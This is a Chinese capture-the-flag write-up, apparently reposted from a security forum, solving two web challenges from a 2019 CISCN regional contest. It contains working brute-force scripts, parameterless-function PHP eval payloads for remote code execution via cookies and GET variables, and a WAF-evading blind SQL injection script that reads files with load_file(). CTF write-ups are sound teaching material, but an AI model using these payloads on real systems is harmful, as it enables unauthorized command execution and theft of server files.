2019CISCN华南线下两道web复现

2019-07-06 约 298 字 预计阅读 2 分钟

声明:本文 【2019CISCN华南线下两道web复现】 由作者 peri0d 于 2019-07-06 09:09:00 首发 先知社区 曾经 浏览数 81 次

感谢 peri0d 的辛苦付出!

部分题目下载地址,有的不完整 : 点我点我

web 1

  • 考点 : 无参函数的 RCE

  • 在注释中发现了 forgetpassword.php 页面

  • 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123

    import requests
    
    url = "http://127.0.0.1/ciscn/web1/useri.php"
    
    response = "没有这个用户"
    
    f = open("./username.txt", "r", encoding="utf-8")
    
    for line in f:
      line = line.strip()
    
      data = {
          "user_name" : line,
      }
    
      r = requests.post(url=url, data=data)
    
      if response in r.text:
          continue
      else:
          print(line)
          break
    
  • 输入 admin123 之后跳转到 useryzm.php 页面

  • 提示验证码经过 base64 加密,而且验证码是 4 位的数字,写脚本爆破一下,结果验证码为 MTQyMw==

    四位数字生成

    for i in range(0,10000):
      s = str(i).zfill(4)
      print(s)
      f = open("num.txt",'a')
      f.write(s)
      f.write('\n')   #实现换行的功能
    

    爆破密码

    import requests
    import base64
    
    url = 'http://127.0.0.1/ciscn/web1/yzmi.php'
    
    f = open('./num.txt', 'r', encoding="utf-8")
    
    response = "错误"
    
    for line in f:
      line = line.strip().encode('utf-8')
      line = base64.b64encode(line)
    
      data = {
          "yzm" : line.decode('utf-8'),
      }
    
      r = requests.post(url=url, data=data)
    
      if response in r.text:
          continue
      else:
          print(line)
          break
    
  • 输入后获得密码 f4h1l0t0j2g5b1m0a0m0a3d2d0

  • 返回 index.html 输入账号密码,获得新提示,但是这里忘记复制数据库了,就直接跳到下一步吧,访问 mDjNaF.php

  • mDjNaF.php 页面

  • 看一下正则,preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])\W 匹配任意字母和数字,(?R)? 重复整个模式,合在一起类似于匹配 x(y(z())) 样式的,且不能存在参数,输入 phpinfo(); 可以查看 phpinfo 页面

  • 接下来就是构造无参数函数进行 RCE 了,想到可以更改 header 中的属性和值,使用无参数函数获取 header 处的值,达到 RCE 的目的。

  • 对于 Cookie 属性,我们可以随意更改,session_id() 函数可以获取 PHPSESSID,如果没有开启 session 可以使用 session_start() 函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin() 函数转化。

  • payload :

    ?code=eval(hex2bin(session_id(session_start())));
    // echo 'peri0d';
    Cookie: PHPSESSID=6563686f2027706572693064273b
    

  • 还可以自己传参达到 RCE,get_defined_vars() 函数返回所有已定义的变量列表,然后利用提取位置的函数就可以实现 RCE

  • payload : ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'))

web 4

  • 考点 : insert() 盲注

  • 一个登录页面

  • 试一试万能密码 admin'# ,登录成功,并给出提示

  • 经过 fuzz 发现过滤了空格,union,benchmark,sleep,regexp,order等很多很多关键字,空格可以使用 /**/ 绕过

  • 给出了文件路径,可以使用 load_file 读取,再与 insert() 函数结合,使用异或,好像可以进行盲注

  • insert((select(load_file('/flag'))),2,255,'') 即在 flag 中,从第 2 个字符到第 255 个字符替换为空字符,即只显示第 1 个字符。insert((select(load_file('/flag'))),3,255,'')把第 3 个字符到第 255 个字符替换为空字符,即只显示前面两个字符。

  • 脚本如下

    import requests
    
    url = 'http://172.27.137.145/ciscn/web4/index.php'
    
    # payload = "admin'^(select('f')>(insert((select(load_file('/flag'))),2,255,'')))#"
    
    temp_list = []
    
    flag_list = []
    
    for i in range(2,255):
      payload_1 = "')>(insert((select(load_file('/flag'))),"+str(i)+",255,'')))#"
      flag = ''.join(flag_list)
      temp_list.clear()
      for j in range(32, 127):
          payload = "admin'^(select('"+flag+chr(j)+payload_1
          print(payload)
          data = {'username' : payload,}
          r = requests.post(url=url, data=data)
          if 'success' in r.text:
              temp_list.append(chr(j))
      try:
          flag_list.append(temp_list.pop())
      except:
          break
    print(''.join(flag_list))
    

  • 过滤语句 :

    if(preg_match("/union|benchmark|strcmp|locate|STRCMP|position|md5|mid|sub|concat|and|left|sleep|space|instr|conv|\s|right|cast|locate|limit|reverse|glob|having|match|count|pad|char|hex|regexp|order|group|ascii|information/i",$username))
    {
        die('wafed!<br>');
    }
    if(preg_match("/union|position|strcmp|locate|benchmark|STRCMP|concat|md5|mid|sub|sleep|and|left|cast|space|instr|pad|conv|\s|right|limit|reverse|locate|match|glob|having|count|char|hex|regexp|order|group|ascii|information/i",$passwd))
    {
        die('wafed!<br>');
    }
    

关键词:[‘安全技术’, ‘CTF’]

相关文章:


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now